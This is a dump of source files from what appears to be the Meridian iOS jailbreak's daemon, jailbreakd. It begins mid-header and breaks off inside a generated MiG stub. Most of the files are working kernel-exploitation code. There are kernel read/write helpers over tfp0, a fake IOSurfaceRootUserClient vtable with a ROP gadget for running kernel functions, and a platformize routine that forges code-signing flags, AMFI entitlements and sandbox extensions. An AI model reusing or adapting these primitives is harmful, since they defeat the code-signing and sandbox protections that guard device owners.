int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel); /* * Rebinds as above, but only in the specified image. The header should point * to the mach-o header, the slide should be the slide offset. Others as above. */ FISHHOOK_VISIBILITY int rebind_symbols_image(void *header, intptr_t slide, struct rebinding rebindings[], size_t rebindings_nel); #ifdef __cplusplus } #endif //__cplusplus #endif //fishhook_h ================================================ FILE: Meridian/jailbreakd/Makefile ================================================ TARGET = jailbreakd OUTDIR ?= bin SRC = $(wildcard *.c) $(wildcard *.m) $(wildcard */*.c) $(wildcard */*.m) CC = xcrun -sdk iphoneos gcc -arch arm64 LDID = ldid CHMOD = chmod CFLAGS = -I. -I./helpers -I./mach -framework Foundation -framework IOKit all: $(OUTDIR)/$(TARGET) $(OUTDIR): mkdir -p $(OUTDIR) $(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR) $(CC) $(CFLAGS) -o $@ $^ $(LDID) -Sentitlements.xml $@ $(CHMOD) 755 $@ install: all clean: rm -rf $(OUTDIR) ================================================ FILE: Meridian/jailbreakd/common.h ================================================ #define DEBUGLOG(syslog, fmt, args ...) \ fprintf(stdout, fmt "\n", ##args); \ fflush(stdout); \ if (syslog) NSLog(@fmt, ##args) #define CACHED_FIND(type, name) \ type __##name(void); \ type name(void) { \ type cached = 0; \ if (cached == 0) { \ cached = __##name(); \ } \ return cached; \ } \ type __##name(void) ================================================ FILE: Meridian/jailbreakd/entitlements.xml ================================================ com.apple.system-task-ports task_for_pid-allow get-task-allow platform-application com.apple.private.security.no-container com.apple.private.skip-library-validation ================================================ FILE: Meridian/jailbreakd/helpers/kexecute.h ================================================ #include #include mach_port_t prepare_user_client(void); void init_kexecute(void); void term_kexecute(void); uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); ================================================ FILE: Meridian/jailbreakd/helpers/kexecute.m ================================================ #include #include "kern_utils.h" #include "kexecute.h" #include "kmem.h" #include "offsetof.h" mach_port_t prepare_user_client() { kern_return_t err; mach_port_t user_client; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); if (service == IO_OBJECT_NULL) { printf(" [-] unable to find service\n"); exit(EXIT_FAILURE); } err = IOServiceOpen(service, mach_task_self(), 0, &user_client); if (err != KERN_SUCCESS) { printf(" [-] unable to get user client connection\n"); exit(EXIT_FAILURE); } printf("got user client: 0x%x\n", user_client); return user_client; } // TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread pthread_mutex_t kexecute_lock; static mach_port_t user_client; static uint64_t IOSurfaceRootUserClient_port; static uint64_t IOSurfaceRootUserClient_addr; static uint64_t fake_vtable; static uint64_t fake_client; const int fake_kalloc_size = 0x1000; void init_kexecute() { user_client = prepare_user_client(); // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel // Create the vtable in the kernel memory, then copy the existing vtable into there fake_vtable = kalloc(fake_kalloc_size); for (int i = 0; i < 0x200; i++) { wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8)); } // Create the fake user client fake_client = kalloc(fake_kalloc_size); for (int i = 0; i < 0x200; i++) { wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8)); } // Write our fake vtable into the fake user client wk64(fake_client, fake_vtable); // Replace the user client with ours wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client); // Now the userclient port we have will look into our fake user client rather than the old one // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) wk64(fake_vtable+8*0xB7, offset_add_ret_gadget); pthread_mutex_init(&kexecute_lock, NULL); } void term_kexecute() { wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr); kfree(fake_vtable, fake_kalloc_size); kfree(fake_client, fake_kalloc_size); } uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { pthread_mutex_lock(&kexecute_lock); // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed // through like normal. // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents // (i'm not actually sure if the switch back is necessary but meh) uint64_t offx20 = rk64(fake_client+0x40); uint64_t offx28 = rk64(fake_client+0x48); wk64(fake_client+0x40, x0); wk64(fake_client+0x48, addr); uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); wk64(fake_client+0x40, offx20); wk64(fake_client+0x48, offx28); pthread_mutex_unlock(&kexecute_lock); return returnval; } ================================================ FILE: Meridian/jailbreakd/helpers/kmem.h ================================================ #include uint64_t kalloc(vm_size_t size); void kfree(mach_vm_address_t address, vm_size_t size); size_t kread(uint64_t where, void *p, size_t size); uint16_t rk16(uint64_t kaddr); uint32_t rk32(uint64_t kaddr); uint64_t rk64(uint64_t kaddr); size_t kwrite(uint64_t where, const void *p, size_t size); void wk16(uint64_t kaddr, uint16_t val); void wk32(uint64_t kaddr, uint32_t val); void wk64(uint64_t kaddr, uint64_t val); uint64_t zm_fix_addr(uint64_t addr); int kstrcmp(uint64_t kstr, const char *str); ================================================ FILE: Meridian/jailbreakd/helpers/kmem.m ================================================ #include "kern_utils.h" #include "kmem.h" #import #define MAX_CHUNK_SIZE 0xFFF size_t kread(uint64_t where, void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); if (rv || sz == 0) { fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where)); break; } offset += sz; } return offset; } size_t kwrite(uint64_t where, const void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { size_t chunk = MAX_CHUNK_SIZE; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, chunk); if (rv) { fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where)); break; } offset += chunk; } return offset; } uint64_t kalloc(vm_size_t size) { mach_vm_address_t address = 0; mach_vm_allocate(tfp0, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); return address; } void kfree(mach_vm_address_t address, vm_size_t size) { mach_vm_deallocate(tfp0, address, size); } uint16_t rk16(uint64_t kaddr) { uint16_t val = 0; kread(kaddr, &val, sizeof(val)); return val; } uint32_t rk32(uint64_t kaddr) { uint32_t val = 0; kread(kaddr, &val, sizeof(val)); return val; } uint64_t rk64(uint64_t kaddr) { uint64_t val = 0; kread(kaddr, &val, sizeof(val)); return val; } void wk16(uint64_t kaddr, uint16_t val) { kwrite(kaddr, &val, sizeof(val)); } void wk32(uint64_t kaddr, uint32_t val) { kwrite(kaddr, &val, sizeof(val)); } void wk64(uint64_t kaddr, uint64_t val) { kwrite(kaddr, &val, sizeof(val)); } // thx Siguza typedef struct { uint64_t prev; uint64_t next; uint64_t start; uint64_t end; } kmap_hdr_t; uint64_t zm_fix_addr(uint64_t addr) { static kmap_hdr_t zm_hdr = {0, 0, 0, 0}; if (zm_hdr.start == 0) { uint64_t zone_map = rk64(offset_zonemap + kernel_slide); // hdr is at offset 0x10, mutexes at start size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr)); if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) { NSLog(@"kread of zone_map failed!"); return 0; } if (zm_hdr.end - zm_hdr.start > 0x100000000) { NSLog(@"zone_map is too big, sorry.\n"); return 0; } } uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff); return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp; } int kstrcmp(uint64_t kstr, const char *str) { size_t len = strlen(str) + 1; char *local = malloc(len + 1); local[len] = '\0'; int ret = 1; if (kread(kstr, local, len) == len) { ret = strcmp(local, str); } free(local); return ret; } ================================================ FILE: Meridian/jailbreakd/helpers/offsetof.c ================================================ unsigned offsetof_p_pid = 0x10; // proc_t::p_pid unsigned offsetof_task = 0x18; // proc_t::task unsigned offsetof_p_uid = 0x30; // proc_t::p_uid unsigned offsetof_p_gid = 0x34; // proc_t::p_uid unsigned offsetof_p_ruid = 0x38; // proc_t::p_uid unsigned offsetof_p_rgid = 0x3c; // proc_t::p_uid unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) unsigned offsetof_itk_space = 0x300; // task_t::itk_space unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype unsigned offsetof_special = 2 * sizeof(long); // host::special unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?.. unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid unsigned offsetof_v_type = 0x70; // vnode::v_type unsigned offsetof_v_id = 0x74; // vnode::v_id unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path unsigned offsetof_t_flags = 0x3a0; // task::t_flags ================================================ FILE: Meridian/jailbreakd/helpers/offsetof.h ================================================ extern unsigned offsetof_p_pid; extern unsigned offsetof_task; extern unsigned offsetof_p_uid; extern unsigned offsetof_p_gid; extern unsigned offsetof_p_ruid; extern unsigned offsetof_p_rgid; extern unsigned offsetof_p_ucred; extern unsigned offsetof_p_csflags; extern unsigned offsetof_itk_self; extern unsigned offsetof_itk_sself; extern unsigned offsetof_itk_bootstrap; extern unsigned offsetof_itk_space; extern unsigned offsetof_ip_mscount; extern unsigned offsetof_ip_srights; extern unsigned offsetof_ip_kobject; extern unsigned offsetof_p_textvp; extern unsigned offsetof_p_textoff; extern unsigned offsetof_p_cputype; extern unsigned offsetof_p_cpu_subtype; extern unsigned offsetof_special; extern unsigned offsetof_ipc_space_is_table; extern unsigned offsetof_ucred_cr_uid; extern unsigned offsetof_ucred_cr_ruid; extern unsigned offsetof_ucred_cr_svuid; extern unsigned offsetof_ucred_cr_ngroups; extern unsigned offsetof_ucred_cr_groups; extern unsigned offsetof_ucred_cr_rgid; extern unsigned offsetof_ucred_cr_svgid; extern unsigned offsetof_v_type; extern unsigned offsetof_v_id; extern unsigned offsetof_v_ubcinfo; extern unsigned offsetof_ubcinfo_csblobs; extern unsigned offsetof_csb_cputype; extern unsigned offsetof_csb_flags; extern unsigned offsetof_csb_base_offset; extern unsigned offsetof_csb_entitlements_offset; extern unsigned offsetof_csb_signer_type; extern unsigned offsetof_csb_platform_binary; extern unsigned offsetof_csb_platform_path; extern unsigned offsetof_t_flags; ================================================ FILE: Meridian/jailbreakd/helpers/osobject.c ================================================ #include #include "kern_utils.h" #include "kexecute.h" #include "kmem.h" #include "osobject.h" // offsets in vtable: static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F; static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26; static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23; static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E; static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20; static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22; static uint32_t off_OSObject_Release = sizeof(void*) * 0x05; static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03; static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04; static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11; // 1 on success, 0 on error int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) { size_t len = strlen(key) + 1; uint64_t ks = kalloc(len); kwrite(ks, key, len); uint64_t vtab = rk64(dict); uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP); int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0); kfree(ks, len); return rv; } // XXX it can return 0 in lower 32 bits but still be valid // fix addr of returned value and check if rk64 gives ptr // to vtable addr saved before // address if exists, 0 if not uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) { size_t len = strlen(key) + 1; uint64_t ks = kalloc(len); kwrite(ks, key, len); uint64_t vtab = rk64(dict); uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP); int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0); kfree(ks, len); return rv; } uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) { uint64_t ret = _OSDictionary_GetItem(dict, key); if (ret != 0) { // XXX can it be not in zalloc?.. ret = zm_fix_addr(ret); } return ret; } // 1 on success, 0 on error int OSDictionary_Merge(uint64_t dict, uint64_t aDict) { uint64_t vtab = rk64(dict); uint64_t f = rk64(vtab + off_OSDictionary_Merge); return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0); } // 1 on success, 0 on error int OSArray_Merge(uint64_t array, uint64_t aArray) { uint64_t vtab = rk64(array); uint64_t f = rk64(vtab + off_OSArray_Merge); return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0); } uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){ uint64_t vtab = rk64(array); uint64_t f = rk64(vtab + off_OSArray_GetObject); return kexecute(f, array, idx, 0, 0, 0, 0, 0); } uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){ uint64_t ret = _OSArray_GetObject(array, idx); if (ret != 0){ // XXX can it be not in zalloc?.. ret = zm_fix_addr(ret); } return ret; } void OSArray_RemoveObject(uint64_t array, unsigned int idx){ uint64_t vtab = rk64(array); uint64_t f = rk64(vtab + off_OSArray_RemoveObject); (void)kexecute(f, array, idx, 0, 0, 0, 0, 0); } // XXX error handling just for fun? :) uint64_t _OSUnserializeXML(const char *buffer) { size_t len = strlen(buffer) + 1; uint64_t ks = kalloc(len); kwrite(ks, buffer, len); uint64_t errorptr = 0; uint64_t rv = kexecute(offset_osunserializexml, ks, errorptr, 0, 0, 0, 0, 0); kfree(ks, len); return rv; } uint64_t OSUnserializeXML(const char *buffer) { uint64_t ret = _OSUnserializeXML(buffer); if (ret != 0) { // XXX can it be not in zalloc?.. ret = zm_fix_addr(ret); } return ret; } void OSObject_Release(uint64_t osobject) { uint64_t vtab = rk64(osobject); uint64_t f = rk64(vtab + off_OSObject_Release); (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); } void OSObject_Retain(uint64_t osobject) { uint64_t vtab = rk64(osobject); uint64_t f = rk64(vtab + off_OSObject_Release); (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); } uint32_t OSObject_GetRetainCount(uint64_t osobject) { uint64_t vtab = rk64(osobject); uint64_t f = rk64(vtab + off_OSObject_Release); return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); } unsigned int OSString_GetLength(uint64_t osstring){ uint64_t vtab = rk64(osstring); uint64_t f = rk64(vtab + off_OSString_GetLength); return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0); } char *OSString_CopyString(uint64_t osstring){ unsigned int length = OSString_GetLength(osstring); char *str = malloc(length + 1); str[length] = 0; kread(OSString_CStringPtr(osstring), str, length); return str; } ================================================ FILE: Meridian/jailbreakd/helpers/osobject.h ================================================ #define OSDictionary_ItemCount(dict) rk32(dict+20) #define OSDictionary_ItemBuffer(dict) rk64(dict+32) #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx) #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8) #define OSString_CStringPtr(str) rk64(str + 0x10) #define OSArray_ItemCount(arr) rk32(arr+0x14) #define OSArray_ItemBuffer(arr) rk64(arr+32) // see osobject.c for info int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val); uint64_t OSDictionary_GetItem(uint64_t dict, const char *key); int OSDictionary_Merge(uint64_t dict, uint64_t aDict); void OSArray_RemoveObject(uint64_t array, unsigned int idx); uint64_t OSArray_GetObject(uint64_t array, unsigned int idx); int OSArray_Merge(uint64_t array, uint64_t aArray); uint64_t OSUnserializeXML(const char *buffer); void OSObject_Release(uint64_t osobject); void OSObject_Retain(uint64_t osobject); uint32_t OSObject_GetRetainCount(uint64_t osobject); unsigned int OSString_GetLength(uint64_t osstring); char *OSString_CopyString(uint64_t osstring); ================================================ FILE: Meridian/jailbreakd/kern_utils.h ================================================ #import #import #import #import #import /****** IOKit/IOKitLib.h *****/ typedef mach_port_t io_service_t; typedef mach_port_t io_connect_t; extern const mach_port_t kIOMasterPortDefault; #define IO_OBJECT_NULL (0) kern_return_t IOConnectCallAsyncMethod( mach_port_t connection, uint32_t selector, mach_port_t wakePort, uint64_t* reference, uint32_t referenceCnt, const uint64_t* input, uint32_t inputCnt, const void* inputStruct, size_t inputStructCnt, uint64_t* output, uint32_t* outputCnt, void* outputStruct, size_t* outputStructCntP); kern_return_t IOConnectCallMethod( mach_port_t connection, uint32_t selector, const uint64_t* input, uint32_t inputCnt, const void* inputStruct, size_t inputStructCnt, uint64_t* output, uint32_t* outputCnt, void* outputStruct, size_t* outputStructCntP); io_service_t IOServiceGetMatchingService( mach_port_t _masterPort, CFDictionaryRef matching); CFMutableDictionaryRef IOServiceMatching( const char* name); kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t* connect ); kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt); kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); #define CS_VALID 0x0000001 /* dynamically valid */ #define CS_ADHOC 0x0000002 /* ad hoc signed */ #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ #define CS_INSTALLER 0x0000008 /* has installer entitlement */ #define CS_HARD 0x0000100 /* don't load invalid pages */ #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ #define CS_REQUIRE_LV 0x0002000 /* require library validation */ #define CS_ENTITLEMENTS_VALIDATED 0x0004000 #define CS_ALLOWED_MACHO 0x00ffffe #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */ #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code */ extern mach_port_t tfp0; extern uint64_t kernel_base; extern uint64_t kernel_slide; extern uint64_t kernprocaddr; extern uint64_t offset_zonemap; extern uint64_t offset_add_ret_gadget; extern uint64_t offset_osboolean_true; extern uint64_t offset_osboolean_false; extern uint64_t offset_osunserializexml; extern uint64_t offset_smalloc; uint64_t find_port(mach_port_name_t port); uint64_t proc_find(int pd); void platformize(int pd); ================================================ FILE: Meridian/jailbreakd/kern_utils.m ================================================ #import #include #include #include "common.h" #include "kern_utils.h" #include "kexecute.h" #include "kmem.h" #include "offsetof.h" #include "osobject.h" #include "sandbox.h" mach_port_t tfp0; uint64_t kernel_base; uint64_t kernel_slide; uint64_t kernprocaddr; uint64_t offset_zonemap; uint64_t offset_add_ret_gadget; uint64_t offset_osboolean_true; uint64_t offset_osboolean_false; uint64_t offset_osunserializexml; uint64_t offset_smalloc; // Please call `proc_release` after you are finished with your proc! uint64_t proc_find(int pd) { uint64_t proc = kernprocaddr; while (proc) { uint32_t found_pid = rk32(proc + 0x10); if (found_pid == pd) { return proc; } proc = rk64(proc + 0x8); } return 0; } CACHED_FIND(uint64_t, our_task_addr) { uint64_t proc = rk64(kernprocaddr + 0x8); while (proc) { uint32_t proc_pid = rk32(proc + 0x10); if (proc_pid == getpid()) { break; } proc = rk64(proc + 0x8); } if (proc == 0) { fprintf(stdout, "failed to find our_task_addr!\n"); exit(EXIT_FAILURE); } return rk64(proc + offsetof_task); } uint64_t find_port(mach_port_name_t port) { uint64_t task_addr = our_task_addr(); uint64_t itk_space = rk64(task_addr + offsetof_itk_space); uint64_t is_table = rk64(itk_space + offsetof_ipc_space_is_table); uint32_t port_index = port >> 8; const int sizeof_ipc_entry_t = 0x18; return rk64(is_table + (port_index * sizeof_ipc_entry_t)); } void set_csflags(uint64_t proc) { uint32_t pid = rk32(proc + 0x10); uint32_t csflags = rk32(proc + offsetof_p_csflags); csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_DEBUGGED) & ~(CS_RESTRICT | CS_HARD | CS_KILL); wk32(proc + offsetof_p_csflags, csflags); } void set_csblob(uint64_t proc) { uint64_t textvp = rk64(proc + offsetof_p_textvp); // vnode of executable if (textvp == 0) return; uint16_t vnode_type = rk16(textvp + offsetof_v_type); if (vnode_type != 1) return; // 1 = VREG uint64_t ubcinfo = rk64(textvp + offsetof_v_ubcinfo); // Loop through all csblob entries (linked list) and update // all (they must match by design) uint64_t csblob = rk64(ubcinfo + offsetof_ubcinfo_csblobs); while (csblob != 0) { wk32(csblob + offsetof_csb_platform_binary, 1); csblob = rk64(csblob); } } const char* abs_path_exceptions[] = { "/Library", "/private/var/mobile/Library", "/private/var/mnt", NULL }; uint64_t exception_osarray_cache = 0; uint64_t get_exception_osarray(void) { if (exception_osarray_cache == 0) { exception_osarray_cache = OSUnserializeXML( "" "/Library/" "/private/var/mobile/Library/" "/private/var/mnt/" "" ); } return exception_osarray_cache; } static const char *exc_key = "com.apple.security.exception.files.absolute-path.read-only"; void set_sandbox_extensions(uint64_t proc) { DEBUGLOG(false, "set_sandbox_extensions called for %llx", proc); uint64_t proc_ucred = rk64(proc + 0x100); uint64_t sandbox = rk64(rk64(proc_ucred + 0x78) + 0x8 + 0x8); DEBUGLOG(false, "sandbox: %llx", sandbox); if (sandbox == 0) { DEBUGLOG(false, "no sandbox, skipping (proc: %llx)", proc); return; } if (has_file_extension(sandbox, abs_path_exceptions[0])) { DEBUGLOG(false, "already has '%s', skipping", abs_path_exceptions[0]); return; } uint64_t ext = 0; const char** path = abs_path_exceptions; while (*path != NULL) { ext = extension_create_file(*path, ext); if (ext == 0) { DEBUGLOG(false, "extension_create_file(%s) failed, panic!", *path); } ++path; } if (ext != 0) { extension_add(ext, sandbox, exc_key); } } void set_amfi_entitlements(uint64_t proc) { uint64_t proc_ucred = rk64(proc + 0x100); uint64_t amfi_entitlements = rk64(rk64(proc_ucred + 0x78) + 0x8); int rv = 0; rv = OSDictionary_SetItem(amfi_entitlements, "get-task-allow", offset_osboolean_true); if (rv != 1) { DEBUGLOG(false, "failed to set get-task-allow within amfi_entitlements!");; } rv = OSDictionary_SetItem(amfi_entitlements, "com.apple.private.skip-library-validation", offset_osboolean_true); if (rv != 1) { DEBUGLOG(false, "failed to set com.apple.private.skip-library-validation within amfi_entitlements!"); } uint64_t present = OSDictionary_GetItem(amfi_entitlements, exc_key); if (present == 0) { rv = OSDictionary_SetItem(amfi_entitlements, exc_key, get_exception_osarray()); } else if (present != get_exception_osarray()) { unsigned int itemCount = OSArray_ItemCount(present); DEBUGLOG(false, "got item count: %d", itemCount); BOOL foundEntitlements = NO; uint64_t itemBuffer = OSArray_ItemBuffer(present); for (int i = 0; i < itemCount; i++) { uint64_t item = rk64(itemBuffer + (i * sizeof(void *))); char *entitlementString = OSString_CopyString(item); DEBUGLOG(false, "found ent string: %s", entitlementString); if (strcmp(entitlementString, "/Library/") == 0) { foundEntitlements = YES; free(entitlementString); break; } free(entitlementString); } if (!foundEntitlements){ rv = OSArray_Merge(present, get_exception_osarray()); } else { rv = 1; } } else { rv = 1; } if (rv != 1) { DEBUGLOG(false, "Setting exc FAILED! amfi_entitlements: 0x%llx present: 0x%llx\n", amfi_entitlements, present); } } void platformize(int pd) { uint64_t proc = proc_find(pd); if (proc == 0) { DEBUGLOG(true, "failed to find proc for pid %d!", pd); return; } DEBUGLOG(true, "platformize called for %d (proc: %llx)", pd, proc); set_csflags(proc); set_amfi_entitlements(proc); set_sandbox_extensions(proc); set_csblob(proc); } ================================================ FILE: Meridian/jailbreakd/mach/jailbreak_daemonServer.c ================================================ /* * IDENTIFICATION: * stub generated Fri Sep 21 22:56:39 2018 * with a MiG generated by bootstrap_cmds-96.20.2 * OPTIONS: */ /* Module jailbreak_daemon */ #define __MIG_check__Request__jailbreak_daemon_subsystem__ 1 #include "jailbreak_daemonServer.h" #ifndef mig_internal #define mig_internal static __inline__ #endif /* mig_internal */ #ifndef mig_external #define mig_external #endif /* mig_external */ #if !defined(__MigTypeCheck) && defined(TypeCheck) #define __MigTypeCheck TypeCheck /* Legacy setting */ #endif /* !defined(__MigTypeCheck) */ #if !defined(__MigKernelSpecificCode) && defined(_MIG_KERNEL_SPECIFIC_CODE_) #define __MigKernelSpecificCode _MIG_KERNEL_SPECIFIC_CODE_ /* Legacy setting */ #endif /* !defined(__MigKernelSpecificCode) */ #ifndef LimitCheck #define LimitCheck 0 #endif /* LimitCheck */ #ifndef min #define min(a,b) ( ((a) < (b))? (a): (b) ) #endif /* min */ #if !defined(_WALIGN_) #define _WALIGN_(x) (((x) + 3) & ~3) #endif /* !defined(_WALIGN_) */ #if !defined(_WALIGNSZ_) #define _WALIGNSZ_(x) _WALIGN_(sizeof(x)) #endif /* !defined(_WALIGNSZ_) */ #ifndef UseStaticTemplates #define UseStaticTemplates 0 #endif /* UseStaticTemplates */ #ifndef __DeclareRcvRpc #define __DeclareRcvRpc(_NUM_, _NAME_) #endif /* __DeclareRcvRpc */ #ifndef __BeforeRcvRpc #define __BeforeRcvRpc(_NUM_, _NAME_) #endif /* __BeforeRcvRpc */ #ifndef __AfterRcvRpc #define __AfterRcvRpc(_NUM_, _NAME_) #endif /* __AfterRcvRpc */ #ifndef __DeclareRcvSimple #define __DeclareRcvSimple(_NUM_, _NAME_) #endif /* __DeclareRcvSimple */ #ifndef __BeforeRcvSimple #define 